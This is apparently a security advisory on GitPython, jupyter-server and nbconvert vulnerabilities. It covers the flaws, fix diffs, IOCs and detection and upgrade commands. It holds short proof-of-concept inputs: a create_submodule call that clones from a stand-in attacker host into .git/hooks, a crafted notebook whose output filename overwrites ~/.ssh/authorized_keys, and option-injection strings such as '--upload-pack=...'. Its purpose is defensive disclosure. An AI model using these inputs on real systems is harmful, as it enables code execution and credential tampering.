high

CVE

CVE-2026-114145, CVE-2026-114135, CVE-2026-114140, CVE-2026-110858, CVE-2026-110857, CVE-2026-110859, CVE-2026-110860, CVE-2026-110855, CVE-2026-110856

CWE

CWE-22, CWE-73, CWE-88, CWE-94, CWE-862, CWE-1333

Affected Surface

  • PyPI package `GitPython` (`gitpython`) versions `<= 3.2.0` (fixed in `3.2.1` for `CVE-2026-114145` and `CVE-2026-110857`, and in `3.2.0` for `CVE-2026-110858`, `CVE-2026-110859`, `CVE-2026-110860`, `CVE-2026-110855`, and `CVE-2026-110856`)
  • PyPI package `jupyter-server` (`jupyter_server`) versions `>= 2.0.0, < 2.6.0` in default Gateway configurations (`GatewayClient.url`), plus `>= 2.6.0` deployments that explicitly register the deprecated `jupyter_server.gateway.handlers` module
  • PyPI package `nbconvert` versions `>= 5.4.0, <= 7.17.1` (fixed in `7.17.2`) when exporting untrusted `.ipynb` notebooks with `--to markdown`, `--to latex`, `--to rst`, or `--to asciidoc`

Update, 27 October 2026: On 27 October (15:26 to 15:28 UTC), the GitHub Advisory Database published six additional reviewed GitPython security advisories (CVE-2026-110855 through CVE-2026-110860), bringing the October GitPython 3.2.0 / 3.2.1 security batch to seven vulnerabilities:

  • CVE-2026-110858 (GHSA-f9j4-qggq-h239, CVSS 8.1 High, fixed in 3.2.0): Remote.pull() screened keyword arguments against unsafe_git_pull_options (allow_unsafe_options=False by default), but forwarded its positional refspec argument unchecked. Because git pull’s internal builtin/pull.c:run_fetch() drops the -- separator when invoking git fetch, passing an option-shaped refspec such as "--upload-pack=..." or ["--upl=helper"] executes the attacker’s command (790bb31649).
  • CVE-2026-110857 (GHSA-w8jc-g24h-crhw, CVSS 7.5 High, fixed in 3.2.1): Three command wrappers omitted GitPython’s protocol and option guards: Git.ls_remote() forwarded positional URLs without calling Git.check_unsafe_protocols() (allowing ext:: remote helpers), and Repo.merge_base() and IndexFile.move() omitted Git.check_unsafe_options() (allowing --output or --pathspec-from-file). Commit 9ad28cc4c7 in GitPython 3.2.1 adds both guards and tightens re_unsafe_protocol to r"([A-Za-z0-9][A-Za-z0-9+.-]*|)::" so empty-name (::address) and newline-containing transport helpers are blocked.
  • CVE-2026-110859 (GHSA-23mf-xhv8-69c2, High, fixed in 3.2.0): An incomplete fix for CVE-2026-78679 in Head.checkout() passed options=Git._option_candidates([], kwargs) instead of [self], allowing an attacker-controlled branch name (refs/heads/--pathspec-from-file=...) in a cloned repository to read arbitrary files (8da6508084).
  • CVE-2026-110860 (GHSA-gq48-pqfc-9p58, Medium), CVE-2026-110855 (GHSA-fx3j-rwgx-fr94, CVSS 6.5 Medium), and CVE-2026-110856 (GHSA-m64x-33q8-m5h7, High), all fixed in 3.2.0: Submodule.move() followed committed intermediate symlinks outside the worktree (24b6f95d4b); Repo._clone() passed separate_git_dir (derived from .gitmodules submodule names) to Git.polish_url() without with_extended_args=False, expanding $ENV_VAR secrets into directory names (9349ff58ee); and parse_actor_and_date() in git/objects/util.py used a quadratic-backtracking regex _re_actor_epoch = re.compile(r"^.+? (.*) (\d+) ([+-]\d+).*$") on malformed commit/tag identity lines (8290c98d35).

TL;DR

On 22 October 2026, the GitHub Advisory Database and NVD published three high-severity advisories affecting Python repositories, notebook platforms, and documentation pipelines:

  1. CVE-2026-114145 (GHSA-83vg-56qc-22m7, High) in GitPython (<= 3.2.0, fixed in 3.2.1): Submodule.add() (called by Repo.create_submodule()) validated .git path aliases only when adding the submodule entry to the Git index, after cls._clone_repo() had already cloned the remote repository into the working tree. Passing path=".git/hooks" clones an attacker’s repository straight into the live .git/hooks directory, planting an executable .git/hooks/post-checkout script. Even when GitPython 3.2.0 raises ValueError at index.add(), it does not roll back the files already written to .git/hooks.
  2. CVE-2026-114135 (GHSA-354v-3q48-cv69, CVSS 8.8 High) in jupyter-server (>= 2.0.0, < 2.6.0, plus manual gateway.handlers registrations in >= 2.6.0): When GatewayClient.url was configured, ServerApp.init_handlers() replaced the standard KernelWebsocketHandler with jupyter_server.gateway.handlers.WebSocketChannelsHandler. That gateway handler checked authentication (current_user) but never called authorizer.is_authorized("execute", "kernels"), allowing read-only authenticated users to execute arbitrary code on upstream gateway kernels.
  3. CVE-2026-114140 (GHSA-pjvx-prjx-h659, High) in nbconvert (>= 5.4.0, <= 7.17.1, fixed in 7.17.2): When exporting a Jupyter notebook (.ipynb) to markdown, latex, rst, or asciidoc, ExtractOutputPreprocessor joined out.metadata["filename"] to output_files_dir without stripping directory traversal segments (../), allowing a crafted notebook cell output to overwrite arbitrary files such as ~/.ssh/authorized_keys.

Affected packages and projects

EcosystemPackageCVE / GHSASeverityAffected versionsFixed versionVulnerable component
PyPIGitPythonCVE-2026-114145 (GHSA-83vg-56qc-22m7)High (CVSS 7.5)<= 3.2.03.2.1git/objects/submodule/base.py (Submodule.add cloning before _validate_repo_path)
PyPIGitPythonCVE-2026-110857 (GHSA-w8jc-g24h-crhw)High (CVSS 7.5)< 3.2.0 (3.2.1 for full guard)3.2.1git/cmd.py (ls_remote), git/repo/base.py (merge_base), git/index/base.py (move)
PyPIGitPythonCVE-2026-110858 (GHSA-f9j4-qggq-h239)High (CVSS 8.1)>= 3.1.30, < 3.2.03.2.0 (3.2.1 recommended)git/remote.py (Remote.pull positional refspec option injection)
PyPIGitPythonCVE-2026-110859 (GHSA-23mf-xhv8-69c2)High< 3.2.03.2.0 (3.2.1 recommended)git/refs/head.py (Head.checkout missing [self] in _option_candidates)
PyPIGitPythonCVE-2026-110856 (GHSA-m64x-33q8-m5h7)High< 3.2.03.2.0 (3.2.1 recommended)git/objects/util.py (parse_actor_and_date _re_actor_epoch ReDoS)
PyPIGitPythonCVE-2026-110860 (GHSA-gq48-pqfc-9p58), CVE-2026-110855 (GHSA-fx3j-rwgx-fr94)Medium (CVSS 6.5)< 3.2.03.2.0 (3.2.1 recommended)Submodule.move intermediate symlink & Repo._clone separate_git_dir env expansion
PyPIjupyter-serverCVE-2026-114135 (GHSA-354v-3q48-cv69)High (CVSS 8.8)>= 2.0.0, < 2.6.0 (and manual gateway.handlers use in >= 2.6.0)2.6.0 (2.21.1 current)jupyter_server/gateway/handlers.py (WebSocketChannelsHandler missing is_authorized)
PyPInbconvertCVE-2026-114140 (GHSA-pjvx-prjx-h659)High>= 5.4.0, <= 7.17.17.17.2nbconvert/preprocessors/extractoutput.py (ExtractOutputPreprocessor.preprocess_cell)

Technical analysis

1. CVE-2026-114145: GitPython clones into .git/hooks before raising ValueError

In September 2026, GitPython 3.2.0 added _validate_repo_path() at the index boundary (git/index/base.py) to block .git path components and NTFS/HFS .git aliases. However, Submodule.add() in git/objects/submodule/base.py only called cls._to_relative_path(repo, path) before cloning:

# git/objects/submodule/base.py in GitPython <= 3.2.0
path = cls._to_relative_path(repo, path)            # line 599: blocks "..", accepts ".git/hooks"
...
mrepo = cls._clone_repo(repo, url, path, name, ...) # line 673: clones url into <worktree>/.git/hooks
...
index.add([sm], write=True)                         # line 714: calls _validate_repo_path() too late

Because _to_relative_path() only checks that the target path stays inside the working tree, passing path=".git/hooks" passes the pre-clone check. When .git/hooks contains no sample files (which is standard in CI checkouts, container builds, or repositories initialized with an empty init.templateDir / GIT_TEMPLATE_DIR), cls._clone_repo() clones the remote repository directly into <worktree>/.git/hooks.

If the cloned repository contains an executable post-checkout file at its root, .git/hooks/post-checkout is now live on disk with mode 0755:

import git

try:
    git.Repo("victim").create_submodule(
        name="x",
        path=".git/hooks",
        url="https://attacker.example/evilsub.git",
    )
except ValueError:
    # GitPython 3.2.0 raises ValueError in index.add(),
    # but victim/.git/hooks/post-checkout is already written and executable!
    pass

On GitPython 3.1.x, no ValueError is raised at all. On 3.2.0, index.add() raises ValueError, which misleads calling code that catches ValueError into assuming the unsafe submodule path was rejected before touching disk. Any subsequent git checkout in victim executes .git/hooks/post-checkout.

Commit 97eadb888d (released in GitPython 3.2.1) moves _validate_repo_path(), Windows reserved-device-name validation (CON, PRN, AUX, NUL, COM1..9, LPT1..9), NUL-byte checks, and nested git_dir checks ahead of directory creation, cloning, and submodule moves. It complements our earlier analysis of GitPython CVE-2026-67324 (upload_pack command injection).

2. CVE-2026-114135: jupyter-server Gateway WebSocket handler skips authorizer.is_authorized()

In jupyter-server, the standard kernel WebSocket handler (jupyter_server/services/kernels/websocket.py) enforces fine-grained RBAC in pre_get() by calling self.authorizer.is_authorized(self, user, "execute", "kernels") before upgrading the HTTP request to a WebSocket connection.

However, in jupyter-server 2.0.0 through 2.5.0, setting GatewayClient.url (to connect Jupyter Server to a remote Jupyter Kernel Gateway or Enterprise Gateway) triggered a handler-replacement loop in jupyter_server/serverapp.py:

# jupyter_server/serverapp.py in 2.0.0 .. 2.5.0
if GatewayClient.instance().gateway_enabled:
    gateway_handlers = load_handlers("jupyter_server.gateway.handlers")
    for _, gwh in enumerate(gateway_handlers):
        for j, h in enumerate(handlers):
            if gwh[0] == h[0]:
                handlers[j] = (gwh[0], gwh[1])
                break

That loop replaced KernelWebsocketHandler on /api/kernels/(?P<kernel_id>[\w-]+)/channels with WebSocketChannelsHandler from jupyter_server/gateway/handlers.py. Inside WebSocketChannelsHandler, authenticate() checked only that self.current_user was not None and never consulted self.authorizer.is_authorized(). An authenticated user restricted by a custom Authorizer to read-only access could open a WebSocket directly to the kernel channels endpoint and send execute_request messages to the remote kernel.

Commit 35ffe5d435 (PR #1261, v2.6.0) removes the handler-replacement loop in serverapp.py and instead routes gateway WebSockets through GatewayWebSocketConnection behind the standard authorized KernelWebsocketHandler:

--- a/jupyter_server/serverapp.py
+++ b/jupyter_server/serverapp.py
@@ -1505,6 +1496,11 @@ class ServerApp(JupyterApp):
+    @default("kernel_websocket_connection_class")
+    def _default_kernel_websocket_connection_class(self):
+        if self.gateway_config.gateway_enabled:
+            return "jupyter_server.gateway.connections.GatewayWebSocketConnection"
+        return ZMQChannelsWebsocketConnection

One important caveat for defenders: jupyter_server.gateway.handlers was deprecated rather than deleted in 2.x (for removal in 3.0). Any deployment or custom extension on jupyter-server >= 2.6.0 that still imports and registers jupyter_server.gateway.handlers manually remains exposed to CVE-2026-114135.

3. CVE-2026-114140: nbconvert cell output metadata.filename path traversal

When jupyter nbconvert exports a notebook to a text format that writes external image or attachment assets to disk (--to markdown, --to latex, --to rst, or --to asciidoc), ExtractOutputPreprocessor.preprocess_cell() in nbconvert/preprocessors/extractoutput.py extracts each display_data or execute_result payload into output_files_dir.

In nbconvert 5.4.0 through 7.17.1, if a cell output dictionary included metadata.filename, preprocess_cell() trusted it verbatim:

{
  "cells": [{
    "cell_type": "code",
    "id": "poc",
    "execution_count": 1,
    "metadata": {},
    "source": "",
    "outputs": [{
      "output_type": "display_data",
      "metadata": {
        "filename": "../../../home/user/.ssh/authorized_keys"
      },
      "data": {
        "image/png": "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg=="
      }
    }]
  }]
}

When ExtractOutputPreprocessor later joined output_files_dir with filename (os.path.join(output_files_dir, filename)), the ../ segments traversed outside the export directory and wrote the decoded binary output to any path writable by the user or CI job running nbconvert. Note that if the notebook is executed first (--execute), Jupyter regenerates the cell outputs and overwrites the malicious outputs array, so the vector specifically targets static conversion of untrusted .ipynb files (such as documentation builds, grading pipelines, and preview services).

Commit ce4bd99aec (released in nbconvert 7.17.2) strips directory components with os.path.basename():

--- a/nbconvert/preprocessors/extractoutput.py
+++ b/nbconvert/preprocessors/extractoutput.py
@@ -114,7 +114,22 @@ def preprocess_cell(self, cell, resources, cell_index):
                     if out.metadata.get("filename", ""):
-                        filename = out.metadata["filename"]
+                        fname = out.metadata["filename"]
+                        # Sanitize: use only the basename to prevent path traversal
+                        filename = os.path.basename(fname)
+                        if not filename:
+                            self.log.warning(
+                                "Output filename '%s' is invalid (empty basename), skipping",
+                                fname,
+                            )
+                            continue
                         if not filename.endswith(ext):
                             filename += ext

IOCs and forensic artifacts

Because these three CVEs are software vulnerabilities rather than a specific malware campaign, there are no fixed C2 domains or hashes. Responders should check for these filesystem and log artifacts:

  • Unexpected executable scripts inside .git/hooks/ (such as post-checkout, pre-commit, or post-merge without a .sample suffix) in repositories where GitPython <= 3.2.0 ran create_submodule() or Submodule.add() (CVE-2026-114145)
  • WebSocket upgrade requests to /api/kernels/<id>/channels from users whose role denies kernels:execute on jupyter-server deployments with GatewayClient.url configured or jupyter_server.gateway.handlers registered (CVE-2026-114135)
  • Notebook .ipynb files containing "filename": values with ../, leading slashes, or backslashes inside cell outputs[].metadata, or nbconvert logs emitting Output filename '...' contained path components, using basename '...' (CVE-2026-114140)

Detection and remediation

1. Check installed versions and search for vulnerable patterns

Run the following checks across virtual environments, container images, and repositories:

# Check installed versions in the active Python environment
pip show GitPython jupyter-server nbconvert

# Search lockfiles and dependency manifests
rg -n -i '"?(gitpython|jupyter[-_]server|nbconvert)"?\s*([~=!<>]=|:)' \
  requirements*.txt pyproject.toml uv.lock poetry.lock Pipfile.lock 2>/dev/null

# Check for GitPython submodule creation calls, Jupyter gateway handler imports, or untrusted nbconvert runs
rg -n 'create_submodule|Submodule\.add|jupyter_server\.gateway\.handlers|ExtractOutputPreprocessor|nbconvert\s+--to\s+(markdown|latex|rst|asciidoc)' . 2>/dev/null

# Scan .ipynb files in the repository for suspicious path traversal in cell output filenames
rg -n '"filename"\s*:\s*"[^"]*(\.\.|/|\\)' --glob '*.ipynb' . 2>/dev/null

2. Upgrade packages and verify .git/hooks

  1. Upgrade to the patched releases:
    pip install --upgrade "GitPython>=3.2.1" "jupyter-server>=2.6.0" "nbconvert>=7.17.2"
  2. Inspect .git/hooks in repositories managed by GitPython: If your service calls create_submodule() or Submodule.add() on untrusted inputs and ran GitPython <= 3.2.0, catching ValueError did not prevent files from being written into .git/hooks. Check every managed repository for unexpected executable scripts under .git/hooks/:
    find . -path '*/.git/hooks/*' ! -name '*.sample' -type f -ls
  3. Audit custom Jupyter Gateway configurations: Ensure no extension or configuration file imports jupyter_server.gateway.handlers directly; use GatewayClient.url with GatewayWebSocketConnection on jupyter-server >= 2.6.0.

Timeline

  • 2026-09-30: GitPython 3.2.0 ships index-level _validate_repo_path() validation, which still runs after _clone_repo() in Submodule.add().
  • 2026-10-01: GitPython merges commit 97eadb888d (PR #2264) to validate submodule paths before filesystem mutation.
  • 2026-10-14: GitPython 3.2.1 is published to PyPI (12:20 UTC).
  • 2026-10-22 (15:46 to 16:41 UTC): The GitHub Advisory Database and NVD publish GHSA-354v-3q48-cv69 (CVE-2026-114135), GHSA-pjvx-prjx-h659 (CVE-2026-114140), and GHSA-83vg-56qc-22m7 (CVE-2026-114145).
  • 2026-10-27 (15:26 to 15:28 UTC): The GitHub Advisory Database publishes six additional GitPython advisories (GHSA-m64x-33q8-m5h7 / CVE-2026-110856, GHSA-fx3j-rwgx-fr94 / CVE-2026-110855, GHSA-w8jc-g24h-crhw / CVE-2026-110857, GHSA-f9j4-qggq-h239 / CVE-2026-110858, GHSA-gq48-pqfc-9p58 / CVE-2026-110860, and GHSA-23mf-xhv8-69c2 / CVE-2026-110859).

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.

References